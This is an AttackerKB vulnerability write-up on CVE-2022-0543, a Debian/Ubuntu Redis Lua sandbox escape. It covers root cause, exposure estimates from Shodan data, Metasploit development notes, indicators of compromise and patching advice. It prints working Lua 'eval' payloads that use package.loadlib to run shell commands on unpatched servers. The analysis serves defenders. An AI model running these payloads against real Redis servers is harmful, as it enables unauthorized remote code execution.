Very High
CVE-2022-0543
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-0543
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
It was discovered, that redis, a persistent key-value database, due to a packaging issue, is prone to a (Debian-specific) Lua sandbox escape, which could result in remote code execution.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Muhstik Gang has been seen exploiting this vulnerability to target Redis servers
Poc is publicly available https://github.com/aodsec/CVE-2022-0543
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- redis
Products
- redis -
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
On February 18, 2022, Ubuntu and Debian released security advisories for CVE-2022-0543. The vulnerability is the result of an oversight in the operating systems’ Redis package, and not actually a fault in Redis itself. Insufficient sanitization of the Lua environment used by Redis resulted in remote attackers being able to execute arbitrary Lua and escape the Redis sandbox. The vulnerability was assigned a critical CVSSv3 score of 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
On March 8, a public proof of concept was published by Reginaldo Silva, who is also credited with finding the vulnerability. Juniper Threat Labs followed up with a report of exploitation in the wild on March 24, and a Metasploit module was published on April 26. Given availability of both private and public weaponized exploits, attackers will continue to opportunistically exploit this vulnerability as long as there are internet facing targets to exploit.
Targets?
Initially, this vulnerability sounded like an edge case that wouldn’t affect many hosts. It only affected distros using Ubuntu or Debian Redis packages and requires the user to configure Redis in a non-default and known “dangerous” state; something that Redis does a commendable job of warning the user against. The user then needs to expose the poor configuration to the internet. For this to be widely exploited, and therefore a priority from a research perspective, a good number of people would need to take these steps to render themselves exposed and exploitable. We assumed exploitable internet-facing targets would be few.
However, reports of exploitation in the wild did catch our attention, and got us thinking,
“Given the requirements for exploitation, are there really enough vulnerable targets for attackers to pursue this?” This is actually a very important question. Like most in the infosec world, we have to prioritize incoming threats and we only have so much bandwidth to expend. We didn’t prioritize this vulnerability initially, so it’s fun to run through the exercise of determining if we were right or wrong (Spolier: We ended up wroting a Metasploit module and this AKB entry):
On April 27, 2022, we found that there are approximately 33,000 internet-facing Redis servers that allow unauthenticated access.
Of course, CVE-2022-0543 also affects hosts that require authentication, but we’re going to focus on the unauthenticated case.
Now that we have a baseline of unauthenticated internet-facing Redis, the question is, “How many are actually vulnerable to CVE-2022-0543?” Apparently, it’s “wrong” and “illegal” to exploit targets in the wild to satisfy curiosity so we relied on the output Shodan acquired. Shodan appears to issue the INFO command after connecting to a Redis server. This command returns a lot of useful information, like os
, redis_version
, build_id
, etc.
We sorted the 33,000 hosts Shodan identified by the “OS” field to see if we could weed out some obviously unaffected targets. Here is the top ten list:
Count | OS String |
---|---|
8055 | os:Linux 4.14.109-99.92.amzn2.x86_64 x86_64 |
1293 | os:Linux 3.10.0-1160.11.1.el7.x86_64 x86_64 |
1158 | os:Linux 3.10.0-1160.45.1.el7.x86_64 x86_64 |
992 | os:Linux 3.10.0-1127.19.1.el7.x86_64 x86_64 |
859 | os:Windows |
419 | os:Linux 5.4.0-107-generic x86_64 |
380 | os:Linux 3.10.0-957.el7.x86_64 x86_64 |
366 | os:Linux 4.18.0-305.3.1.el8.x86_64 x86_64 |
359 | os:Linux 3.10.0-1160.49.1.el7.x86_64 x86_64 |
349 | os:Linux 5.4.0-77-generic x86_64 |
Only two rows in the list above could potentially be Ubuntu, Debian, or derivatives. amzn2
(Amazon Linux 2) and el7
(CentOS) use yum-based systems and therefore aren’t affected. Windows
isn’t affected. Only OS with the generic
string look like our test targets. Our test targets have OS strings like the following:
OS | String | Exploitable |
---|---|---|
Ubuntu 20.04 | os:Linux 5.13.0-40-generic x86_64 | Yes |
Ubuntu 18.04 | os:Linux 5.4.0-42-generic i686 | No |
Debian 11 | os:Linux 5.10.0-13-amd64 x86_64 | No |
Ubuntu Docker | os:Linux 5.13.0-40-generic x86_64 | Yes |
If we filter the original 33,000 Redis hosts to only include the “-generic” or “-amd64” OS strings then we quickly narrow the search down to ~8100 hosts. The top 10 now looks like this:
Count | OS String |
---|---|
419 | os:Linux 5.4.0-107-generic x86_64 |
349 | os:Linux 5.4.0-77-generic x86_64 |
319 | os:Linux 5.4.0-100-generic x86_64 |
256 | os:Linux 5.4.0-96-generic x86_64 |
250 | os:Linux 5.4.0-97-generic x86_64 |
224 | os:Linux 5.4.0-104-generic x86_64 |
221 | os:Linux 5.4.0-105-generic x86_64 |
213 | os:Linux 5.4.0-90-generic x86_64 |
187 | os:Linux 5.4.0-88-generic x86_64 |
181 | os:Linux 4.15.0-142-generic x86_64 |
—- | —————- |
Now that we’ve narrowed our list to systems that are potentially Ubuntu, Debian, or variants, we can start looking a little closer at the redis_version
field. We know that the affected Debian packages installed Redis versions that very loosely fell between versions 5.0 and 6.1. Of the 8100 hosts we’ve narrowed our search down to, those versions are not highly represented in the data. Again a top 10 list:
Count | Redis Version |
---|---|
3664 | redis_version:6.2.6 |
581 | redis_version:6.2.5 |
529 | redis_version:5.0.7 |
378 | redis_version:4.0.9 |
282 | redis_version:6.2.4 |
247 | redis_version:3.0.6 |
238 | redis_version:3.2.12 |
235 | redis_version:6.2.1 |
226 | redis_version:6.0.9 |
211 | redis_version:5.0.14 |
The Ubuntu and Debian advisories don’t list all of the affected packages, they just state the fixed version. Based on past experience, the patched package doesn’t update the “redis_version” so when Ubuntu says a fix was introduced in “5.0.7-2ubuntu0.1”, then we know redis_version
5.0.7 was an affected version. In the list above, 529 hosts advertise redis_version
5.0.7. Those hosts may or may not be Ubuntu/Debian variants and, if they are, the Redis package may or may not have been patched. But it does give some insight into the scope of affected targets.
Taking things a little further, we also know that redis_versions not explicitly mentioned in the advisory were affected. For example, the official Ubuntu Redis docker image we tested our Metasploit module with used redis_version
6.0.11. Instead of tracking down all potential versions, if we just generically accept redis_version
5.0 and above may be affected, and redis_version
before 6.1 may be affected then we narrow the original ~8100 down to ~2000. Here is that complete dataset:
Count | Redis Version |
---|---|
529 | redis_version:5.0.7 |
226 | redis_version:6.0.9 |
211 | redis_version:5.0.14 |
151 | redis_version:6.0.10 |
134 | redis_version:6.0.6 |
118 | redis_version:6.0.16 |
99 | redis_version:6.0.8 |
90 | redis_version:6.0.5 |
70 | redis_version:5.0.3 |
55 | redis_version:5.0.4 |
50 | redis_version:5.0.5 |
38 | redis_version:6.0.15 |
28 | redis_version:5.0.8 |
24 | redis_version:6.0.3 |
19 | redis_version:6.0.7 |
19 | redis_version:6.0.1 |
19 | redis_version:5.0.12 |
18 | redis_version:6.0.4 |
18 | redis_version:5.0.9 |
18 | redis_version:5.0.13 |
12 | redis_version:5.0.6 |
10 | redis_version:6.0.12 |
10 | redis_version:5.0.2 |
9 | redis_version:6.0.11 |
9 | redis_version:5.0.10 |
8 | redis_version:6.0.14 |
8 | redis_version:5.0.1 |
5 | redis_version:6.0.2 |
5 | redis_version:6.0.13 |
4 | redis_version:5.9.104 |
2 | redis_version:5.9.103 |
2 | redis_version:5.9.101 |
2 | redis_version:5.3.3 |
2 | redis_version:5.0.0 |
1 | redis_version:6.0.18 |
1 | redis_version:6.0.0 |
1 | redis_version:5.9.102 |
2,000 hosts is the absolute ceiling of potentially vulnerable internet-facing Redis servers that can be exploited without authentication. We actually aren’t certain how many of these hosts installed Redis using an affected package or if they’ve been patched (we are looking at this approximately two months after initial disclosure). Heck, they could all be honeypots for all we know, but it’s a reasonable number to work with.
Is 2,000 hosts enough to grab our attention? While it’s difficult to call that “widespread”, it appears hosts vulnerable to CVE-2022-0543 are probably more prevalent than we anticipated. Given an exploit has been thrown around in the wild, it’s probably reasonable to bump the priority of fixing this vulnerability within your own organization.
Root Cause
The root cause is a simple oversight. Normally, Redis statically links Lua. The Ubuntu and Debian package dynamically links Lua. The vulnerable package disabled the use of the Lua require
and module
interfaces to prevent sandbox escapes, but failed to disable the Lua package interface. To fix this, Ubuntu and Debian simply set package
to nil
just like require
and module
. Here is the relevant line in Ubuntu’s rules
file:
echo 'luaL_dostring(lua, "module = nil; require = nil; package = nil");' >>$@
Proof of Concept
The Lua package
interface can be used to load arbitrary Lua shared libraries. For example, the original proof of concept by Reginaldo Silva loads “liblua” in order to execute the shell command touch /tmp/redis_poc
via os.execute
:
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_poc"); return 0'
An unattributed proof of concept, possibly developed by phithon appeared on vulhub, and used io.popen
so that the server’s response would be written back to the attacker. Below the attacker executes the command id
.
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
If you are reading the write-ups associated with these proof of concepts, and testing them yourself then you may find them a little misleading. The first point of confusion, for us, involved the touch /tmp/redis_poc
in the original proof of concept. A reasonable person is going to look for the created file in /tmp/
. However, the vulnerable packages install Redis under systemd
with PrivateTmp=yes
. Meaning, the file won’t be written to /tmp/
. It will actually be written in some systemd-private
subdirectory within /tmp
. This could cause someone to think they aren’t vulnerable when, in fact, they are:
albinolobster@ubuntu:~/$ ls -l /tmp/redis_poc ls: cannot access '/tmp/redis_poc': No such file or directory albinolobster@ubuntu:~/$ sudo ls -l /tmp/systemd-private-214bed33ff5542c5bb9c754ce7984d61-redis-server.service-xOUzAh/tmp/redis_poc -rw-rw---- 1 redis redis 0 Apr 27 10:19 /tmp/systemd-private-214bed33ff5542c5bb9c754ce7984d61-redis-server.service-xOUzAh/tmp/redis_poc
Additionally, the vulhub repository shows the output of the id
command displaying execution as root
. The Ubuntu and Debian packages install Redis to run using the redis
user. It’s true the official Ubuntu Redis Docker image runs Redis as root
but it also requires authentication. Execution as root
is a pretty contrived example that is unlikely to exist in the wild. It also overstates the severity of an already bad vulnerability.
While both the original PoC and the vulhub repository are incredibly helpful, at face value, they are a little misleading and could lead to confusion around this vulnerability.
Lessons Learned from the Metasploit Module
As mentioned, Redis is run under systemd
when installed by the vulnerable packages. This actually ended up having a significant impact on the development of the Metasploit module. There were initially crashes using both the meterpreter stager and the gjs
binary. For example, I was running a payload like this:
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); local f = os.execute("gjs -v"); ' 0
And gjs
was crashing.
[ 1400.928540] traps: gjs[13581] trap int3 ip:7f07ff71f295 sp:7ffd10d679b0 error:0 in libglib-2.0.so.0.6400.6[7f07ff6e3000+84000]
Running strace
on gjs -v
yielded the following failure.
Note the failed mprotect
call. This turns out to be a direct result of how the redis.service
is configured. Amongst a few of the protections it enables, you can find MemoryDenyWriteExecute=true
. MemoryDenyWriteExecute “rejects … mprotect(2) or pkey_mprotect(2) system calls with PROT_EXEC set.” This feature essentially prevents usage of JIT execution engines or software like the Meterpreter stages that load programs into memory and execute them. This is probably a well-known feature to some, but the first time I came across it while writing an exploit.
Indicators of Compromise
Unfortunately, there is no Redis specific IOC. By default, Redis logs to /var/log/redis/redis-server.log
but no information regarding the attack appears there. At higher verbosity, the log will include IP addresses but if your Redis is internet-facing that’s already going to be quite a large number of addresses.
Perhaps the best indicator is observing sketchy programs running under the redis
user. Here is an example of Meterpreter running as redis
:
albinolobster@ubuntu:~$ ps faux | grep redis albinol+ 14150 0.0 0.0 9040 720 pts/0 S+ 12:26 0:00 \_ grep --color=auto redis redis 13229 0.1 0.1 52796 5292 ? Ssl 10:17 0:14 /usr/bin/redis-server *:6379 redis 14147 0.0 0.0 1176 56 ? Sl 12:26 0:00 /tmp/UtCkXuyg
Other than that, defenders will need to rely on catching typical malicious post-exploitation behavior.
For a PCAP demonstrating this attack please see the Metasploit pull request.
Guidance
We highly encourage users to patch this vulnerability. If your Redis server is exposed to the internet, we also encourage you to consider if that’s strictly necessary. If it is necessary, please consider enabling some type of authentication as, at minimum, that will prevent people from the internet issuing arbitrary Redis commands on your server.
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: